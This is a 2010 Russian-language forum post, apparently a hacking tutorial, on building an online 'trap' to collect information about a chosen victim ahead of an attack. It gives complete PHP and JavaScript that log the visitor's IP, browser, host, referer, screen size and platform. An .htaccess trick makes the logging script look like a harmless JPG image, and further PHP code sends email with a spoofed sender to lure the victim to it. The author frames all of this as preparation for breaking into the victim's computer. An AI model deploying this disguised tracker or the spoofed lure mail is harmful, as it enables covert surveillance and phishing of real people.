Время:
Новых сообщений: Нет
Вы на форуме дней
Ваша группа: Гость
Ваш IP: 3.146.152.147
Logical-Portal — молодежный портал со своей изюминкой, каждый сможет найти что-то интересное и полезное для себя, например наш форум общения с которым вам обязательно нужно ознакомиться.
  • Страница 1 из 1
  • 1
Архив - только для чтения
Создаем он-лайн ловушку для пользователя
Сообщение оставлено 08.12.2010 в 07:30:32 | Сообщение #1
Узнать о пользователе интернета хоть какую-то информацию порой весьма проблематично. Ведь, как известно, в Сети путешествуют не только чайники, ламеры и секретарши, но и более-менее продвинутые пользователи, которые не поддаются на уловки, вроде "зайди на эту страничку" или "скачай файлик ...". Допустим, нам требуется нарыть всю возможную информацию о пользователе (т.е. получить версию ОС, тип браузера, провайдера и т.д.), чтобы потом его заттачить и, в случае удачи, заполучить данные, хранящиеся на жестком диске.

Готовимся к покушению

Нет-нет, сегодня мы не будем маскировать вирусы, кидать в чатах подозрительные ссылки и заниматься другой, не внушающей доверия деятельностью. Сегодня у нас все будет цивильно, технологично и хитро. Получать инфу мы будем при помощи веб - сайта.
Итак, для начала регистрируем новый сайт на каком-нибудь халявном Apache - хостинге, поддерживающем PHP и .htaccess. В качестве примера могу предложить популярный хост Jino-Net.ru . После регистрации зайдите на FTP сайта и создайте новую папку, например IMAGES. Теперь все готово, пришла пора расставить все точки над i и понять, что же нам, собственно, предстоит делать.

Теоретический момент

Как известно, взаимодействие пользователя с веб-ресурсами происходит через программу-браузер. Чтобы попасть на нужный сайт, мы вводим адрес в адресной строке обозревателя (или просто нажимаем на ссылку) и, после нескольких секунд (а то и минут) ожидания, можем увидеть контент странички. На самом деле, здесь все чрезвычайно просто: браузер посылает некий запрос веб-серверу, на котором расположен сайт, а веб-сервер отвечает на этот запрос, причем ответом зачастую является веб-страница, которую юзер в последствии видит на экране своего монитора. Но процесс "запрос<->ответ" не происходит без "побочных" данных. Например, браузер сообщает серверу информацию о себе (т.е. кем, он, собственно, является: "Ослом" (Internet Explorer), "Лисой" (Mozilla Firefox) и т.д.), IP адрес клиента, номер удаленного порта и другие служебные данные. А сервер, в свою очередь, посылает обозревателю заголовки, содержащие в себе тип запрашиваемого файла (HTML, CSS, JS, ZIP, RAR и т.д.), тип кодировки, код ответа (404, 403, 200 и т.д.). На основе полученной информации браузер решает, каким образом ему предстоит работать с документом. К чему же это было сказано? А к тому, уважаемые читатели, что на основе вышенаписанного текста можно сделать вывод, что мы сможем использовать сервер для сбора ценной информации о пользователе-жертве.
Для реализации задумок я выбрал язык PHP, поскольку он наиболее удобен и понятен в освоении.
На этом закончим нудную теорию и перейдем к самому интересному - к практике.

Реализуем он-лайн сниффер

Для начала, необходимо создать файл с расширением php в папке IMAGES (не меняйте имя директории, позже я расскажу, почему посоветовал назвать папку именно так). Такой файл сервер будет воспринимать как скрипт и выполнять команды внутри него. Назовите файл именем photo001.php. Теперь нужно разобраться, что же необходимо написать в теле скрипта.
Данные, которые нам необходимо получить, хранятся в так называемых переменных окружения. Для того, чтобы извлечь значение переменной (т.е. получить IP пользователя, тип браузера и т.д.) в PHP необходимо вызвать функцию getenv(). Ниже я привожу те значения аргумента функции (т.е., по сути, имена переменных), которые помогут извлечь данные:

getenv("REMOTE_ADDR") - возвращает IP пользователя;
getenv("HTTP_USER_AGENT") - возвращает тип браузера;
getenv("REMOTE_PORT") - возвращает удаленный порт;

Далее. Все данные, которые поможет изъять PHP, мы будем записывать в отдельный LOG - файл. Создайте в директории IMAGES файл logs.txt. Теперь все готово для работы скрипта:

Code

<?
$get_time = date("d.m.Y (H:i:s)", time());
$get_ip = getenv("REMOTE_ADDR");
$get_browser = getenv("HTTP_USER_AGENT");
$get_port = getenv("REMOTE_PORT");
$get_connect = $_SERVER['HTTP_CONNECTION'];
$get_host = gethostbyaddr(getenv("REMOTE_ADDR"));
$get_referer = @$_SERVER['HTTP_REFERER'];

$fopen = fopen ("logs.txt", "a+");
fputs ($fopen, "\r\n ---------- Detected at $get_time-------------- \r\n");
fputs ($fopen, "IP: \t $get_ip \r\n");
fputs ($fopen, "Browser: \t $get_browser \r\n");
fputs ($fopen, "Port: \t $get_port \r\n");
fputs ($fopen, "Host: \t $get_host \r\n");
fputs ($fopen, "Connection: \t $get_connect \r\n");
fputs ($fopen, "Referer: \t $get_referer \r\n");
fclose ($fopen);

?>

Собственно, что же тут произошло. В переменную $get_time мы записываем время запуска скрипта (чтобы узнать, когда жертва попалась в уловку). С $get_ip, $get_browser и $get_port все должно быть понятно (об этом я писал выше). Функция gethostbyaddr() получает адрес хоста, через который пользователь путешествует в интернете (а по адресу можно определить и провайдера). $_SERVER['HTTP_REFERER'] содержит страницу, с которой пользователь перешел на скрипт - так называемый реферер (знак "собака" @ указан для того, чтобы анализатор PHP не выводил ошибки, если значение переменной не задано (т.е. пользователь зашел на страницу напрямую)). $_SERVER['HTTP_CONNECTION'] определяет тип соединения (бывает Keep-Alive (грубо говоря, обычное соединение) и Closed (с использованием прокси - сервера)). С помощью функции fopen() открывается файл logs.txt; аргумент a+ говорит о том, что мы добавляем в логи инфу (а не затираем файл прежде, чем добавить что-либо). Fputs() добавляет в файл некоторую строку, содержимое которой указывается во втором аргументе. Как видите, строки могут содержать переменные, а когда скрипт будет добавлять строки в файл, он автоматически заменит имя переменной на ее содержимое. Символ \r\n заменяется на перевод строки; \t - табуляцию. И это не все, что мы можем узнать о пользователе. Ведь существует такой замечательный инструмент, как JavaScript, при помощи которого можно узнать разрешение экрана, глубину цвета, платформу браузера. Но проблема в том, что JavaScript не умеет работать с файлами и является, по сути, клиентским языком, т.е. выполнение команд происходит не сервером, а браузером клиента. Но этот нюанс не помешает записать дополнительную информацию о пользователе. В "Яве" существуют так называемые объекты, а внутри объектов содержатся некоторые данные. Сегодня нас интересует два объекта: navigator и screen. Чтобы получить какое-то значение из объекта, необходимо задать этому объекту свойство. Наш скрипт будет извлекать:

screen.width - ширина экрана (в пикселях)
screen.height - высота экрана (в пикселях)
screen.colorDepth - глубина цвета экрана (в битах)
navigator.platform - платформа браузера

Так как же PHP - скрипту получить JS - данные ? Можно сделать это скрыто, через объект XMLHttpRequest() (т.е. передать POST - запрос), но мы реализуем несколько упрощенный вариант: передадим информацию через адресную строку, через так называемый GET - запрос. Для этого пишем скрипт:

<?
print "
<script LANGUAGE=\"JavaScript\">
<!--
location.replace('".$_SERVER['PHP_SELF']."?loged=1&w='+screen.width+'&h='+screen.height+'&d='+screen.colorDepth+'&p='+navigator.platform);
//-->
</SCRIPT>
";
?>

Давайте разбираться. Свойство location.replace является функцией, которая осуществляет редирект (перенаправление) пользователя на новый URL. Переменная $_SERVER['PHP_SELF'] содержит в себе адрес текущей страницы. По поводу остального содержания строки я скажу чуть позже.
Итак, пользователь перенаправляется на новый URL, в адресной строке, после знака вопрос ? записана информация, собранная JavaScript. Теперь дело за малым: получить эту информацию PHP-скриптом.
Как я уже говорил, все, что находится после вопроса является GET - запросом. Через адресную строку мы передаем переменные и их значения. Разделителем переменной и значения является амперсенда & . Т.е. в запросе
loged=1&w=800&h=600&d=32&p=Win32
для PHP - скрипта доступно 5 переменных: loged ; w ; h ; d ; p. А эти переменные, как известно, сгенерированы JavaScript'ом и содержат в себе дополнительную информацию о пользователе, которую необходимо дописать в ЛОГ - файл. Скрипт считывания GET - запроса и его запись в файл выглядит так:

<?
$fopen = fopen ("logs.txt", "a+");
foreach ($_GET as $key => $value)
{
fputs ($fopen, "$key \t $value\r\n");
}

fclose ($fopen);
?>

В PHP любой запрос (GET и POST) записывается в массив. Причем массив является ассоциативным, т.е. чтобы получить значение переменной loged необходимо указать $_GET['loged']. Но в своем скрипте я рассмотрел общий случай, т.е. происходит получение значения каждой переменной. Осуществляется задумка циклом foreach. Функции Fopen() и Fputs() вам уже известны.

Собственно, вот и все! Мы по кусочкам написали скрипт-ловушку, но остались две немаловажные вещи: собрать скрипт целиком и замаскировать его. Но для начала воссоединяем кусочки кода и получаем примерно такую картину:

Code

<?
$query = @$_SERVER['QUERY_STRING'];
if ($query == "" or !ereg("^loged=1", $query))
{
$get_time = date("d.m.Y (H:i:s)", time());
$get_ip = getenv("REMOTE_ADDR");
$get_browser = getenv("HTTP_USER_AGENT");
$get_port = getenv("REMOTE_PORT");
$get_connect = $_SERVER['HTTP_CONNECTION'];
$get_host = gethostbyaddr(getenv("REMOTE_ADDR"));
$get_referer = @$_SERVER['HTTP_REFERER'];

$fopen = fopen ("logs.txt", "a+");

fputs ($fopen, "\r\n ---------- Detected at $get_time-------------- \r\n");
fputs ($fopen, "IP: \t $get_ip \r\n");
fputs ($fopen, "Browser: \t $get_browser \r\n");
fputs ($fopen, "Port: \t $get_port \r\n");
fputs ($fopen, "Host: \t $get_host \r\n");
fputs ($fopen, "Connection: \t $get_connect \r\n");
fputs ($fopen, "Referer: \t $get_referer \r\n");
fclose ($fopen);
die("
         <script LANGUAGE=\"JavaScript\">
         <!--
location.replace('".$_SERVER['PHP_SELF']."?loged=1&w='+screen.width+'&h='+screen.height+'&d='+screen.colorDepth+'&p='+navigator.platform);     
         //-->
         </SCRIPT>
     ");
}
else if (ereg("^loged=1", $query))
{
     $fopen = fopen ("logs.txt", "a+");
     foreach ($_GET as $key => $value)
         {
     fputs ($fopen, "$key \t $value\r\n");
         }

     fclose ($fopen);
     header ('Content-type: image/jpeg');
     die (readfile("real_photo.jpg"));
}
?>

Поясняю предпоследнюю строчку кода die (readfile("real_photo.jpg")). Собственно, здесь раскрываются карты. Мы замаскировали наш сниффер под обычный безобидный... JPG - файл ! После перенаправления пользователь получит на экране монитора картинку с именем real_photo.jpg (не забудьте положить ее в директорию со скриптом). Может быть, какая-нибудь секретарша или начинающий ламер ничего не заподозрит, но нормальный юзер может и засомневаться: ведь расширение файла php (photo001.php) ... Но и здесь мы не отступимся! Просто заставим сервер выполнять php код в файлах с расширением JPG ... В этой задаче нам поможет файл .htaccess, через который можно произвести некоторые изменения в работе сервера. Создайте этот файл в директории с основным скриптом (учтите, что первый символ в названии - точка). Далее вбивайте в него такой код:

Code

RemoveHandler .php
AddType application/x-httpd-php .jpg

Все, теперь сервер воспринимает JPG - файлы как обычные php скрипты. И остается самая малость - поменять имя photo001.php на photo001.jpg. В итоге получается такая картина: для нас photo001.jpg - скрипт - сниффер, а для обычного пользователя - изображение типа JPG. Ну чем не ловушка ? А теперь предлагаю перейти к следующему не менее важному моменту.

Цыпа-цыпа-цыпа...

Вроде бы, все готово. Сниффер создан и имеет не внушающую подозрений ссылку: http://[ваш_логин].jino-net.ru/IMAGES/photo001.jpg . Но как заставит жертву угодить в запланированную ловушку? Способов не так много, но сегодня я предложу, на мой взгляд, один из самых интересных и хитрых. В этом нам поможет сервер, на котором расположен сайт.
Создайте в отдельной директории файл mail_send.php. С помощью этого скрипта мы будем слать пользователю сообщения. Код для отправки такой:

Code

<?
$mail = "someone@server.ru";
$subject = "Theme";
$content = "Content";
$from = "hacker@server.ru";
mail ($mail, $subject, $content, "Content-Type: text/plain; charset=\"windows-1251\" \r\nFrom: $from \r\n ");
?>

Итак, отправка почты с помощью PHP осуществляет функцией mail(). В ее аргументах нам необходимо задать: адресата ($mail), тему письма ($subject), содержимое ($content), заголовки (тип кодировки, тип письма и т.д.), а также от кого письмо ($from). Теперь подключайте ваше воображение: какое письмо послать, и, главное, от кого. Вам известно, с кем пользователь переписывается или от каких сервисов получает новости ? А может, вы являетесь приятелем юзера ? В последнем случае ситуация заметно облегчается, а в остальном - все зависит от вашей фантазии и здравости. Но цель - заставить пользователя попасть в лапы созданного сниффера. И те данные, что мы, возможно, получим, могут здорово пригодиться собственно при атаке на удаленный ПК.

ИТОГ

Конечно, для многих статья не донесла ничего принципиально нового. И в данной статье не раскрывается процесс собственно взлома. Но на базе всего выше сказанного, по моему мнению, можно организовать хорошую, качественную удаленную атаку.

Спасибо за внимание.

 

У гениальности есть побочные эффекты
 
   
  • Страница 1 из 1
  • 1
Поиск:
 
Графика от: Megas, GraFOS | Дизайн сверстал E.A.
Хостинг от uCoz
Яндекс.Метрика